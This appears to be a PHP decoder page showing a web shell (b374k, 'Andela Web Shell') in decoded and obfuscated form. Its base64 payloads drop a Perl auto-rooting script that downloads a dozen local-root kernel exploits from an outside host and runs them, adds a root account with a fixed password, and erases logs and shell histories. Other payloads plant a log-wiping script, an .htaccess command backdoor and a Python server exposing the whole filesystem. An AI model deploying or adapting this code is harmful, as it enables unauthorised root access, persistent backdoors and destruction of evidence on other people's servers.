Y2htb2QgNzc3IGV4cDIiKTsNCnN5c3RlbSgiLi9leHAyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDMiKTsNCnN5c3RlbSgiLi9leHAzIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cGxvaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cGxvaXQiKTsNCnN5c3RlbSgiLi9leHBsb2l0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmdWxsLW5lbHNvbiIpOw0Kc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2dheXJvcyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZ2F5cm9zIik7DQpzeXN0ZW0oIi4vZ2F5cm9zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xlbmlzLnNoIik7DQpzeXN0ZW0oImNobW9kIDc3NyBsZW5pcy5zaCIpOw0Kc3lzdGVtKCIuL2xlbmlzLnNoIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xvY2FsLTIuNi45LTIwMDUtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsNCnN5c3RlbSgiLi9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3ByaXY0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBwcml2NCIpOw0Kc3lzdGVtKCIuL3ByaXY0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3B3bmtlcm5lbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7DQpzeXN0ZW0oIi4vcHdua2VybmVsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Jvb3QucHkiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJvb3QucHkiKTsNCnN5c3RlbSgiLi9yb290LnB5Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3J1bngiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJ1bngiKTsNCnN5c3RlbSgiLi9ydW54Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Rpdm9saSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdGl2b2xpIik7DQpzeXN0ZW0oIi4vdGl2b2xpIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3VidW50dSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdWJ1bnR1Iik7DQpzeXN0ZW0oIi4vdWJ1bnR1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oIi4vdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3oxZC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyB6MWQtMjAxMSIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnByaW50ICJnZXQgcm9vdC4uLj8/P1xuIjsNCnByaW50ICIjPVsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXT0jXG4iOw0KcHJpbnQgInwgICAgICAgICAgICAgVGhhbmtzIEZvciBVc2luZyBpdCAgICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfFxuIjsNCnByaW50ICJ8ICAgICAgIEpvaW4gdXMgb24gaHR0cDovL3RoZWNyb3dzY3Jldy5vcmcgICAgICAgICB8XG4iOw0KcHJpbnQgIiM9WytdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09WytdPSNcbiI7DQoNCn0NCmlmICgkQVJHVlswXSA9fiAiZGVsIiApIA0Kew0Kc3lzdGVtKCJybSAxLTIiKTsNCnN5c3RlbSgicm0gMS0zIik7DQpzeXN0ZW0oInJtIDEtNCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsNCnN5c3RlbSgicm0gMTAiKTsNCnN5c3RlbSgicm0gMTEiKTsNCnN5c3RlbSgicm0gMTIiKTsNCnN5c3RlbSgicm0gMTQiKTsNCnN5c3RlbSgicm0gMTUuc2giKTsNCnN5c3RlbSgicm0gMTUxNTAiKTsNCnN5c3RlbSgicm0gMTUyMDAiKTsNCnN5c3RlbSgicm0gMTYiKTsNCnN5c3RlbSgicm0gMTYtMSIpOw0Kc3lzdGVtKCJybSAxOCIpOw0Kc3lzdGVtKCJybSAxOC01Iik7DQpzeXN0ZW0oInJtIDIiKTsNCnN5c3RlbSgicm0gMi0xIik7DQpzeXN0ZW0oInJtIDItNi0zMi00Ni0yMDExIik7DQpzeXN0ZW0oInJtIDItNi0zNyIpOw0Kc3lzdGVtKCJybSAyLTYtOS0yMDA1Iik7DQpzeXN0ZW0oInJtIDItNi05LTIwMDYiKTsNCnN5c3RlbSgicm0gMi4zNC0yMDExRXhwbG9pdDEiKTsNCnN5c3RlbSgicm0gMi40LjIxLTIwMDYiKTsNCnN5c3RlbSgicm0gMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgicm0gMi42LjE4LTE5NCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMTk0LjEtMjAxMCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMTk0LjItMjAxMCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMjAxMSIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMjc0LTIwMTEiKTsNCnN5c3RlbSgicm0gMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgicm0gMi42LjItaG9vbHlzaGl0Iik7DQpzeXN0ZW0oInJtIDIuNi4yMCIpOw0Kc3lzdGVtKCJybSAyLjYuMjAtMiIpOw0Kc3lzdGVtKCJybSAyLjYuMjIiKTsNCnN5c3RlbSgicm0gMi42LjIyLTIwMDgiKTsNCnN5c3RlbSgicm0gMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCJybSAyLjYuMjMtMi42LjI0Iik7DQpzeXN0ZW0oInJtIDIuNi4yMy0yLjYuMjRfMiIpOw0Kc3lzdGVtKCJybSAyLjYuMjMtMi42LjI3Iik7DQpzeXN0ZW0oInJtIDIuNi4yNCIpOw0Kc3lzdGVtKCJybSAyLjYuMjcuNy1nZW5lcmkiKTsNCnN5c3RlbSgicm0gMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgicm0gMi42LjMyLTQ2LjEuQkhzbXAiKTsNCnN5c3RlbSgicm0gMi42LjMzIik7DQpzeXN0ZW0oInJtIDIuNi4zMy0yMDExIik7DQpzeXN0ZW0oInJtIDIuNi4zNC0yMDExIik7DQpzeXN0ZW0oInJtIDIuNi4zNC0yMDExRXhwbG9pdDEiKTsNCnN5c3RlbSgicm0gMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCJybSAyLjYuMzciKTsNCnN5c3RlbSgicm0gMi42LjM3LXJjMiIpOw0Kc3lzdGVtKCJybSAyLjYuNV9ob29seXNoaXQiKTsNCnN5c3RlbSgicm0gMi42LjYtMzQiKTsNCnN5c3RlbSgicm0gMi42LjYtMzRfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oInJtIDIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJybSAyLjYuN19oMDBseXNoaXQiKTsNCnN5c3RlbSgicm0gMi42LjgtMjAwOC45LTY3LTIwMDgiKTsNCnN5c3RlbSgicm0gMi42LjgtNV9oMDBseXNoaXQiKTsNCnN5c3RlbSgicm0gMi42LjhfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oInJtIDIuNi45Iik7DQpzeXN0ZW0oInJtIDIuNi45LTIwMDQiKTsNCnN5c3RlbSgicm0gMi42LjktMjAwOCIpOw0Kc3lzdGVtKCJybSAyLjYuOS0zNCIpOw0Kc3lzdGVtKCJybSAyLjYuOS00Mi4wLjMuRUxzbXAiKTsNCnN5c3RlbSgicm0gMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsNCnN5c3RlbSgicm0gMi42LjktNTUiKTsNCnN5c3RlbSgicm0gMi42LjktNTUtMjAwNy1wcnY4Iik7DQpzeXN0ZW0oInJtIDIuNi45LTU1LTIwMDgtcHJ2OCIpOw0Kc3lzdGVtKCJybSAyLjYuOS02NzIwMDgiKTsNCnN5c3RlbSgicm0gMi42LjkuMiIpOw0Kc3lzdGVtKCJybSAyLjYuOTEtMjAwNyIpOw0Kc3lzdGVtKCJybSAyMDA3Iik7DQpzeXN0ZW0oInJtIDIwMDktbG9jYWwiKTsNCnN5c3RlbSgicm0gMjAwOS13dW5kZXJiYXIiKTsNCnN5c3RlbSgicm0gMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oInJtIDIxIik7DQpzeXN0ZW0oInJtIDMiKTsNCnN5c3RlbSgicm0gMy40LjYtOS0yMDA3Iik7DQpzeXN0ZW0oInJtIDMxIik7DQpzeXN0ZW0oInJtIDM2LXJjMSIpOw0Kc3lzdGVtKCJybSA0Iik7DQpzeXN0ZW0oInJtIDQ0Iik7DQpzeXN0ZW0oInJtIDQ3Iik7DQpzeXN0ZW0oInJtIDUiKTsNCnN5c3RlbSgicm0gNTAiKTsNCnN5c3RlbSgicm0gNTQiKTsNCnN5c3RlbSgicm0gNiIpOw0Kc3lzdGVtKCJybSA2NyIpOw0Kc3lzdGVtKCJybSA3Iik7DQpzeXN0ZW0oInJtIDctMiIpOw0Kc3lzdGVtKCJybSA3eCIpOw0Kc3lzdGVtKCJybSA4Iik7DQpzeXN0ZW0oInJtIDkiKTsNCnN5c3RlbSgicm0gOTAiKTsNCnN5c3RlbSgicm0gOTQiKTsNCnN5c3RlbSgicm0gTGludXhfMi42KDEpLjEyIik7DQpzeXN0ZW0oInJtIExpbnV4XzIuNi4xMiIpOw0Kc3lzdGVtKCJybSBMaW51eF8yLjYuOS1qb29seXNoaXQiKTsNCnN5c3RlbSgicm0gYWNpZCIpOw0Kc3lzdGVtKCJybSBkM3ZpbCIpOw0Kc3lzdGVtKCJybSBleHAxIik7DQpzeXN0ZW0oInJtIGV4cDIiKTsNCnN5c3RlbSgicm0gZXhwMyIpOw0Kc3lzdGVtKCJybSBleHBsb2l0Iik7DQpzeXN0ZW0oInJtIGZ1bGwtbmVsc29uIik7DQpzeXN0ZW0oInJtIGdheXJvcyIpOw0Kc3lzdGVtKCJybSBsZW5pcy5zaCIpOw0Kc3lzdGVtKCJybSBsb2NhbC0yLjYuOS0yMDA1LTIwMDYiKTsNCnN5c3RlbSgicm0gbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcyIpOw0Kc3lzdGVtKCJybSBwcml2NCIpOw0Kc3lzdGVtKCJybSBwd25rZXJuZWwiKTsNCnN5c3RlbSgicm0gcm9vdC5weSIpOw0Kc3lzdGVtKCJybSBydW54Iik7DQpzeXN0ZW0oInJtIHRpdm9saSIpOw0Kc3lzdGVtKCJybSB1YnVudHUiKTsNCnN5c3RlbSgicm0gdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oInJtIHoxZC0yMDExIik7DQpwcmludCAiIz1bK109PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1bK109I1xuIjsNCnByaW50ICJ8ICAgICAgICAgICAgIFRoYW5rcyBGb3IgVXNpbmcgaXQgICAgICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCAgICAgICBKb2luIHVzIG9uIGh0dHA6Ly90aGVjcm93c2NyZXcub3JnICAgICAgICAgfFxuIjsNCnByaW50ICIjPVsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXT0jXG4iOw0KDQp9DQppZiAoJEFSR1ZbMF0gPX4gImFkZCIgKSANCg0Kew0KcHJpbnQgIkFkZCBVc2VyIFJvb3QgOkRcbiI7DQpwcmludCAidXNlciA6IFsgZ2FiYnkgXVxuIjsNCnN5c3RlbSAiYWRkdXNlciAtZyAwIGdhYmJ5IC1HIHdoZWVsLHN5cyxiaW4sZGFlbW9uLGFkbSxkaXNrIC1kIC9zZjcgLXMgL2Jpbi9zaCI7DQpzeXN0ZW0gInBhc3N3ZCByMDB0MTIzIjsNCnByaW50ICJwYXNzIGlzIDogcjAwdDEyM1xuIjsgDQpwcmludCAiIz1bK109PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1bK109I1xuIjsNCnByaW50ICJ8ICAgICAgICAgICAgIFRoYW5rcyBGb3IgVXNpbmcgaXQgICAgICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCAgICAgICBKb2luIHVzIG9uIGh0dHA6Ly90aGVjcm93c2NyZXcub3JnICAgICAgICAgfFxuIjsNCnByaW50ICIjPVsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXT0jXG4iOw0KDQp9DQppZiAoJEFSR1ZbMF0gPX4gInJtIiApIA0KDQp7DQpwcmludCAicm0gLXJmIExvZy4uLlxuIjsNCnN5c3RlbSAicm0gLXJmIC90bXAvbG9ncyI7DQpzeXN0ZW0gInJtIC1yZiAvcm9vdC8ua3NoX2hpc3RvcnkiOw0Kc3lzdGVtICJybSAtcmYgL3Jvb3QvLmJhc2hfaGlzdG9yeSI7DQpzeXN0ZW0gInJtIC1yZiAvcm9vdC8uYmFzaF9sb2dvdXQiOw0Kc3lzdGVtICJybSAtcmYgL3Vzci9sb2NhbC9hcGFjaGUvbG9ncyI7DQpzeXN0ZW0gInJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2ciOw0Kc3lzdGVtICJybSAtcmYgL3Zhci9hcGFjaGUvbG9ncyI7DQpzeXN0ZW0gInJtIC1yZiAvdmFyL2FwYWNoZS9sb2ciOw0Kc3lzdGVtICJybSAtcmYgL3Zhci9ydW4vdXRtcCI7DQpzeXN0ZW0gInJtIC1yZiAvdmFyL2xvZ3MiOw0Kc3lzdGVtICJybSAtcmYgL3Zhci9sb2ciOw0Kc3lzdGVtICJybSAtcmYgL3Zhci9hZG0iOw0Kc3lzdGVtICJybSAtcmYgL2V0Yy93dG1wIjsNCnN5c3RlbSAicm0gLXJmIC9ldGMvdXRtcCI7DQpzeXN0ZW0gImNkIC9iaW4iOw0KcHJpbnQgIlx0TG9nIERlbGV0ZWQgTWFzIE1ibG8gOkQuLiBcblxuIjsNCnByaW50ICIjPVsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXT0jXG4iOw0KcHJpbnQgInwgICAgICAgICAgICAgVGhhbmtzIEZvciBVc2luZyBpdCAgICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfFxuIjsNCnByaW50ICJ8ICAgICAgIEpvaW4gdXMgb24gaHR0cDovL3RoZWNyb3dzY3Jldy5vcmcgICAgICAgICB8XG4iOw0KcHJpbnQgIiM9WytdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09WytdPSNcbiI7DQoNCn0NCiMgQ29kZWQgQnkgR2FiYnkgLSBJbmRvbmVzaWEgRmVtYWxlIEhhY2tlciovIA0K";
file_put_contents("r00t.pl",base64_decode($perlrot));
echo "<script>alert('Perl Auto R00ting Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'slc') {
$slc ="IyEvYmluL3NoDQojIENvZGVkIEJ5IFJlZCBINHQgViFwZXIgKEJlbmlfVmFuZGEpDQojIEdyMzN0eiA6IEFsbCBNZW1iZXJzIE9mIElySXNUDQojIGNobW9kIDA3NTUgc2VydmVyTEMuc2ggPj4gLi9zZXJ2ZXJMQy5zaA0KDQplY2hvICJbKl0gR29pbmcgVE8gRGVsZXRlIExvZyBTZXJ2ZXJzIC4uLiAiDQpmaW5kIC8gLW5hbWUgKi5iYXNoX2hpc3RvcnkgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5iYXNoX2xvZ291dCAtZXhlYyBybSAtcmYge30gXDsNCmZpbmQgLyAtbmFtZSAibG9nKiIgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5sb2cgLWV4ZWMgcm0gLXJmIHt9IFw7DQpybSAtcmYgL3RtcC9sb2dzDQpybSAtcmYgJEhJU1RGSUxFDQpybSAtcmYgL3Jvb3QvLmtzaF9oaXN0b3J5DQpybSAtcmYgL3Jvb3QvLmJhc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5rc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5iYXNoX2xvZ291dA0Kcm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZ3MNCnJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2cNCnJtIC1yZiAvdmFyL2FwYWNoZS9sb2dzDQpybSAtcmYgL3Zhci9hcGFjaGUvbG9nDQpybSAtcmYgL3Zhci9ydW4vdXRtcA0Kcm0gLXJmIC92YXIvbG9ncw0Kcm0gLXJmIC92YXIvbG9nDQpybSAtcmYgL3Zhci9hZG0NCnJtIC1yZiAvZXRjL3d0bXANCnJtIC1yZiAvZXRjL3V0bXANCg0KZWNobyAiWypdIERvbmUgLiBHb29kIEx1Y2sgOyki";
file_put_contents("serverLC.sh",base64_decode($slc));
echo "<script>alert('Server Log Cleaner [ serverLC.sh ] Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'htasell') {
$ht = 'PEZpbGVzIH4gIl5cLmh0Ij4NCk9yZGVyIGFsbG93LGRlbnkNCkFsbG93IGZyb20gYWxsDQo8L2ZpbGVzPg0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocCAuaHRhY2Nlc3MNCiMgPD9waHAgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTs/Pg0K';
file_put_contents(".htaccess",base64_decode($ht));
echo "<script>alert('htaccess Shell [ .htaccess ] Created : open in site/.htaccess?cmd= '); hideAll();</script>";
die();
}
elseif ( $pilih == 'port') {
$openport = 'IyEvdXNyYmluL2VudiBweXRob24NCiMgZGV2aWx6YzBkZS5vcmcgKGMpIDIwMTINCiMgcmVjb2RlZCBieSB4JzFuNzNjdCAoYykgMjAxMw0KDQppbXBvcnQgU2ltcGxlSFRUUFNlcnZlcg0KaW1wb3J0IFNvY2tldFNlcnZlcg0KaW1wb3J0IG9zDQoNCnBvcnQgPSAxMzEyMw0KDQppZl9fbmFtZV9fPT0nX19tYWluX18nOg0KCW9zLmNoZGlyKCcvJykNCglIYW5kbGVyID0gU2ltcGxlSFRUUFNlcnZlci5TaW1wbGVIVFRQUmVxdWVzdEhhbmRsZXINCglodHRwZCA9IFNvY2tldFNlcnZlci5UQ1BTZXJ2ZXIoKCIiLHBvcnQpLCBIYW5kbGVyKQ0KCQ0KCXByaW50KCJOb3cgb3BlbiB0aGlzIHNlcnZlciBvbiB3ZWIgYnJvd3NlciBhdCBwb3J0OiAiICsgc3RyKHBvcnQpKQ0KCXByaW50KCJleGFtcGxlOiBodHRwOi8vd3d3LmZiaS5nb3Y6IiArIHN0cihwb3J0KSkNCglodHRwLnNlcnZlX2ZvcmV2ZXIoKQ==';
file_put_contents("port.py",base64_decode($openport));
chmod("port.py",0755);
echo "<script>alert('Python Open Port 13123 [ port.py ] Created'); hideAll();</script>";
die();
}
}
?><center><br><br><div class="info">-=[ <b>b374k</b> recoded by <b>Mr.HaurgeulisX196</b> ]=-</div><br>
<div class="jaya"><b>© 2015 Andela1C3 v.3<b></div></center><br><br>
</script>
</div>
</body>
</html>
Did this file decode correctly?
Original Code
<?php
/*
###########################################
## Andela Web Shell ##
## Code by Mr.HaurgeulisX196 ##
## 2018 ##
## default pass : ##
## change pass $auth_pass in this below ##
## with md5 ###
###########################################
*/
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$auth_pass = "a7d5365f1c55a31cc7818ca78c0c90de";
$andela = "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